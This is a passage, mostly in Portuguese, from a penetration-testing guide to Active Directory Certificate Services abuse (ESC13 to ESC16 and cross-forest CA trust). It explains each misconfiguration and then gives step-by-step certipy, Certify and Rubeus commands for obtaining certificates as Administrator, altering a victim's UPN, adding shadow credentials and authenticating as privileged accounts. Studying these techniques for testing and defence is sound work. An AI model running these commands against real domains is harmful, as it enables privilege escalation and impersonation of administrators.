$ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA Common Name>

Finalmente, use o comando certutil -sign para forjar um novo certificado arbitrário usando o certificado CA e sua chave privada.

Abuso de Link de Grupo OID - ESC13

Explicação

O atributo msPKI-Certificate-Policy permite que a política de emissão seja adicionada ao modelo de certificado. Os objetos msPKI-Enterprise-Oid que são responsáveis pela emissão de políticas podem ser descobertos no Contexto de Nomeação de Configuração (CN=OID,CN=Public Key Services,CN=Services) do contêiner OID PKI. Uma política pode ser vinculada a um grupo AD usando o atributo msDS-OIDToGroupLink deste objeto, permitindo que um sistema autorize um usuário que apresenta o certificado como se ele fosse um membro do grupo. Referência aqui.

Em outras palavras, quando um usuário tem permissão para inscrever um certificado e o certificado está vinculado a um grupo OID, o usuário pode herdar os privilégios deste grupo.

Use Check-ADCSESC13.ps1 para encontrar OIDToGroupLink:

Enumerating OIDs
------------------------
OID 23541150.FCB720D24BC82FBD1A33CB406A14094D links to group: CN=VulnerableGroup,CN=Users,DC=domain,DC=local

OID DisplayName: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID DistinguishedName: CN=23541150.FCB720D24BC82FBD1A33CB406A14094D,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local
OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
------------------------
Enumerating certificate templates
------------------------
Certificate template VulnerableTemplate may be used to obtain membership of CN=VulnerableGroup,CN=Users,DC=domain,DC=local

Certificate template Name: VulnerableTemplate
OID DisplayName: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID DistinguishedName: CN=23541150.FCB720D24BC82FBD1A33CB406A14094D,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local
OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
------------------------

Cenário de Abuso

Encontre uma permissão de usuário que possa usar certipy find ou Certify.exe find /showAllPermissions.

Se John tiver permissão para se inscrever no VulnerableTemplate, o usuário pode herdar os privilégios do grupo VulnerableGroup.

Tudo o que precisa fazer é especificar o template, ele receberá um certificado com direitos OIDToGroupLink.

certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'VulnerableTemplate'

Vulnerable Certificate Renewal Configuration- ESC14

Explanation

A descrição em https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping é notavelmente detalhada. Abaixo está uma citação do texto original.

ESC14 aborda vulnerabilidades decorrentes de "mapeamento explícito de certificado fraco", principalmente através do uso indevido ou configuração insegura do atributo altSecurityIdentities em contas de usuário ou computador do Active Directory. Este atributo de múltiplos valores permite que administradores associem manualmente certificados X.509 a uma conta AD para fins de autenticação. Quando preenchidos, esses mapeamentos explícitos podem substituir a lógica de mapeamento de certificado padrão, que normalmente se baseia em UPNs ou nomes DNS no SAN do certificado, ou no SID incorporado na extensão de segurança szOID_NTDS_CA_SECURITY_EXT.

Um mapeamento "fraco" ocorre quando o valor de string usado dentro do atributo altSecurityIdentities para identificar um certificado é muito amplo, facilmente adivinhável, depende de campos de certificado não únicos ou usa componentes de certificado facilmente falsificáveis. Se um atacante conseguir obter ou criar um certificado cujos atributos correspondam a um mapeamento explícito definido de forma fraca para uma conta privilegiada, ele pode usar esse certificado para se autenticar e se passar por essa conta.

Exemplos de strings de mapeamento altSecurityIdentities potencialmente fracas incluem:

• Mapeamento apenas por um Nome Comum de Assunto (CN) comum: por exemplo, X509:<S>CN=SomeUser. Um atacante pode ser capaz de obter um certificado com esse CN de uma fonte menos segura.
• Usar Nomes Distintos de Emissor (DNs) ou DNs de Assunto excessivamente genéricos sem qualificação adicional, como um número de série específico ou identificador de chave de assunto: por exemplo, X509:<I>CN=SomeInternalCA<S>CN=GenericUser.
• Empregar outros padrões previsíveis ou identificadores não criptográficos que um atacante pode ser capaz de satisfazer em um certificado que ele pode obter ou falsificar legitimamente (se ele comprometer uma CA ou encontrar um modelo vulnerável como no ESC1).

O atributo altSecurityIdentities suporta vários formatos de mapeamento, como:

• X509:<I>IssuerDN<S>SubjectDN (mapeia pelo DN completo do Emissor e do Assunto)
• X509:<SKI>SubjectKeyIdentifier (mapeia pelo valor da extensão Identificador de Chave de Assunto do certificado)
• X509:<SR>SerialNumberBackedByIssuerDN (mapeia pelo número de série, implicitamente qualificado pelo DN do Emissor) - este não é um formato padrão, geralmente é <I>IssuerDN<SR>SerialNumber.
• X509:<RFC822>EmailAddress (mapeia por um nome RFC822, tipicamente um endereço de e-mail, do SAN)
• X509:<SHA1-PUKEY>Thumbprint-of-Raw-PublicKey (mapeia por um hash SHA1 da chave pública bruta do certificado - geralmente forte)

A segurança desses mapeamentos depende fortemente da especificidade, singularidade e força criptográfica dos identificadores de certificado escolhidos usados na string de mapeamento. Mesmo com modos de vinculação de certificado fortes habilitados em Controladores de Domínio (que afetam principalmente mapeamentos implícitos baseados em UPNs/DNS do SAN e na extensão SID), uma entrada altSecurityIdentities mal configurada ainda pode apresentar um caminho direto para a falsificação se a lógica de mapeamento em si for falha ou muito permissiva.

Abuse Scenario

ESC14 visa mapeamentos explícitos de certificado no Active Directory (AD), especificamente o atributo altSecurityIdentities. Se este atributo estiver definido (por design ou má configuração), os atacantes podem se passar por contas apresentando certificados que correspondem ao mapeamento.

Scenario A: Attacker Can Write to altSecurityIdentities

Precondição: O atacante tem permissões de gravação no atributo altSecurityIdentities da conta alvo ou a permissão para concedê-lo na forma de uma das seguintes permissões no objeto AD alvo:

• Escrever propriedade altSecurityIdentities
• Escrever propriedade Public-Information
• Escrever propriedade (todas)
• WriteDACL
• WriteOwner*
• GenericWrite
• GenericAll
• Proprietário*.

Scenario B: Target Has Weak Mapping via X509RFC822 (Email)

• Precondição: O alvo tem um mapeamento fraco X509RFC822 em altSecurityIdentities. Um atacante pode definir o atributo de e-mail da vítima para corresponder ao nome X509RFC822 do alvo, inscrever um certificado como a vítima e usá-lo para se autenticar como o alvo.

Scenario C: Target Has X509IssuerSubject Mapping

• Precondição: O alvo tem um mapeamento explícito fraco X509IssuerSubject em altSecurityIdentities. O atacante pode definir o atributo cn ou dNSHostName em um principal vítima para corresponder ao assunto do mapeamento X509IssuerSubject do alvo. Então, o atacante pode inscrever um certificado como a vítima e usar esse certificado para se autenticar como o alvo.

Scenario D: Target Has X509SubjectOnly Mapping

• Precondição: O alvo tem um mapeamento explícito fraco X509SubjectOnly em altSecurityIdentities. O atacante pode definir o atributo cn ou dNSHostName em um principal vítima para corresponder ao assunto do mapeamento X509SubjectOnly do alvo. Então, o atacante pode inscrever um certificado como a vítima e usar esse certificado para se autenticar como o alvo.

concrete operations

Scenario A

Solicitar um certificado do modelo de certificado Machine

.\Certify.exe request /ca:<ca> /template:Machine /machine

Salvar e converter o certificado

certutil -MergePFX .\esc13.pem .\esc13.pfx

Autenticar (usando o certificado)

.\Rubeus.exe asktgt /user:<user> /certificate:C:\esc13.pfx /nowrap

Limpeza (opcional)

Remove-AltSecIDMapping -DistinguishedName "CN=TargetUserA,CN=Users,DC=external,DC=local" -MappingString "X509:<I>DC=local,DC=external,CN=external-EXTCA01-CA<SR>250000000000a5e838c6db04f959250000006c"

Para métodos de ataque mais específicos em vários cenários de ataque, consulte o seguinte: adcs-esc14-abuse-technique.

Políticas de Aplicação EKUwu (CVE-2024-49019) - ESC15

Explicação

A descrição em https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc é notavelmente completa. Abaixo está uma citação do texto original.

Usando modelos de certificado padrão da versão 1, um atacante pode criar um CSR para incluir políticas de aplicação que são preferidas em relação aos atributos de Uso de Chave Estendida configurados especificados no modelo. O único requisito são os direitos de inscrição, e isso pode ser usado para gerar certificados de autenticação de cliente, agente de solicitação de certificado e assinatura de código usando o modelo WebServer.

Abuso

O seguinte é referenciado neste link, clique para ver métodos de uso mais detalhados.

O comando find do Certipy pode ajudar a identificar modelos V1 que são potencialmente suscetíveis ao ESC15 se a CA não estiver corrigida.

certipy find -username cccc@aaa.htb -password aaaaaa -dc-ip 10.0.0.100

Cenário A: Impersonação Direta via Schannel

Passo 1: Solicitar um certificado, injetando a Política de Aplicação "Autenticação do Cliente" e o UPN alvo. O atacante attacker@corp.local mira administrator@corp.local usando o template "WebServer" V1 (que permite o sujeito fornecido pelo inscrito).

certipy req \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -template 'WebServer' \
-upn 'administrator@corp.local' -sid 'S-1-5-21-...-500' \
-application-policies 'Client Authentication'

• -template 'WebServer': O modelo vulnerável V1 com "O inscrito fornece o assunto".
• -application-policies 'Client Authentication': Injeta o OID 1.3.6.1.5.5.7.3.2 na extensão de Políticas de Aplicação do CSR.
• -upn 'administrator@corp.local': Define o UPN no SAN para impersonação.

Passo 2: Autenticar via Schannel (LDAPS) usando o certificado obtido.

certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' -ldap-shell

Cenário B: Impersonação PKINIT/Kerberos via Abuso de Agente de Inscrição

Passo 1: Solicitar um certificado de um template V1 (com "O Inscrito fornece o assunto"), injetando a Política de Aplicação "Agente de Solicitação de Certificado". Este certificado é para o atacante (attacker@corp.local) se tornar um agente de inscrição. Nenhum UPN é especificado para a própria identidade do atacante aqui, pois o objetivo é a capacidade de agente.

certipy req \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -template 'WebServer' \
-application-policies 'Certificate Request Agent'

• -application-policies 'Certificate Request Agent': Injeta OID 1.3.6.1.4.1.311.20.2.1.

Passo 2: Use o certificado "agent" para solicitar um certificado em nome de um usuário privilegiado alvo. Este é um passo semelhante ao ESC3, usando o certificado do Passo 1 como o certificado agent.

certipy req \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -template 'User' \
-pfx 'attacker.pfx' -on-behalf-of 'CORP\Administrator'

Passo 3: Autentique-se como o usuário privilegiado usando o certificado "on-behalf-of".

certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100'

Extensão de Segurança Desativada no CA (Globalmente)-ESC16

Explicação

ESC16 (Elevação de Privilégio via Falta da Extensão szOID_NTDS_CA_SECURITY_EXT) refere-se ao cenário onde, se a configuração do AD CS não exigir a inclusão da extensão szOID_NTDS_CA_SECURITY_EXT em todos os certificados, um atacante pode explorar isso ao:

1. Solicitar um certificado sem vinculação de SID.

2. Usar este certificado para autenticação como qualquer conta, como se passando por uma conta de alto privilégio (por exemplo, um Administrador de Domínio).

Você também pode se referir a este artigo para aprender mais sobre o princípio detalhado: https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6

Abuso

O seguinte é referenciado neste link, Clique para ver métodos de uso mais detalhados.

Para identificar se o ambiente dos Serviços de Certificado do Active Directory (AD CS) é vulnerável ao ESC16

certipy find -u 'attacker@corp.local' -p '' -dc-ip 10.0.0.100 -stdout -vulnerable

Passo 1: Leia o UPN inicial da conta da vítima (Opcional - para restauração).

certipy account \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -user 'victim' \
read

Passo 2: Atualize o UPN da conta da vítima para o sAMAccountName do administrador alvo.

certipy account \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -upn 'administrator' \
-user 'victim' update

Passo 3: (Se necessário) Obtenha credenciais para a conta "vítima" (por exemplo, via Shadow Credentials).

certipy shadow \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -account 'victim' \
auto

Passo 4: Solicite um certificado como o usuário "vítima" de qualquer modelo de autenticação de cliente adequado (por exemplo, "Usuário") na CA vulnerável ao ESC16. Como a CA é vulnerável ao ESC16, ela omitirá automaticamente a extensão de segurança SID do certificado emitido, independentemente das configurações específicas do modelo para esta extensão. Defina a variável de ambiente do cache de credenciais Kerberos (comando de shell):

export KRB5CCNAME=victim.ccache

Então solicite o certificado:

certipy req \
-k -dc-ip '10.0.0.100' \
-target 'CA.CORP.LOCAL' -ca 'CORP-CA' \
-template 'User'

Passo 5: Reverter o UPN da conta "vítima".

certipy account \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -upn 'victim@corp.local' \
-user 'victim' update

Passo 6: Autentique-se como o administrador alvo.

certipy auth \
-dc-ip '10.0.0.100' -pfx 'administrator.pfx' \
-username 'administrator' -domain 'corp.local'

Comprometendo Florestas com Certificados Explicados na Voz Passiva

Quebra de Confianças de Floresta por CAs Comprometidas

A configuração para inscrição entre florestas é feita de forma relativamente simples. O certificado da CA raiz da floresta de recursos é publicado nas florestas de conta pelos administradores, e os certificados da CA empresarial da floresta de recursos são adicionados aos contêineres NTAuthCertificates e AIA em cada floresta de conta. Para esclarecer, esse arranjo concede à CA na floresta de recursos controle total sobre todas as outras florestas para as quais gerencia PKI. Se essa CA for comprometida por atacantes, certificados para todos os usuários nas florestas de recursos e de conta poderiam ser forjados por eles, quebrando assim a fronteira de segurança da floresta.

Privilégios de Inscrição Concedidos a Principais Estrangeiros

Em ambientes de múltiplas florestas, é necessário ter cautela em relação às CAs Empresariais que publicam modelos de certificado que permitem Usuários Autenticados ou principais estrangeiros (usuários/grupos externos à floresta à qual a CA Empresarial pertence) direitos de inscrição e edição.
Após a autenticação através de uma confiança, o SID de Usuários Autenticados é adicionado ao token do usuário pelo AD. Assim, se um domínio possui uma CA Empresarial com um modelo que permite direitos de inscrição para Usuários Autenticados, um modelo poderia potencialmente ser inscrito por um usuário de uma floresta diferente. Da mesma forma, se direitos de inscrição forem explicitamente concedidos a um principal estrangeiro por um modelo, uma relação de controle de acesso entre florestas é assim criada, permitindo que um principal de uma floresta inscreva-se em um modelo de outra floresta.

Ambos os cenários levam a um aumento na superfície de ataque de uma floresta para outra. As configurações do modelo de certificado poderiam ser exploradas por um atacante para obter privilégios adicionais em um domínio estrangeiro.